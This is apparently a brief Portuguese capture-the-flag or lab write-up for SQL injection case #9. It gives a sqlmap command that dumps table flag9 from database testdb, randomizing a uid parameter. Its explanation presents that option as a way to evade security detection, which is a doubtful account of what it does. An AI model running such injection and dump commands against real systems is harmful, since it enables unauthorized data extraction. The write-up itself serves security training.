Question-2

Qual é o conteúdo da tabela flag9? (Caso #9)

• Salvar as requisições em um arquivo, observe que temos que randomizar o valor do uid

Payload :

sqlmap -r req.txt --batch --randomize=uid -D testdb -T flag9 --columns content --dump

• --randomize=uid: Esta opção controla o valor do parâmetro de identificação único (UID) usado pelo SQLMap para evitar que as consultas SQL sejam detectadas facilmente. Ele randomiza o UID para cada solicitação feita pelo SQLMap, o que ajuda a evitar detecção por sistemas de segurança.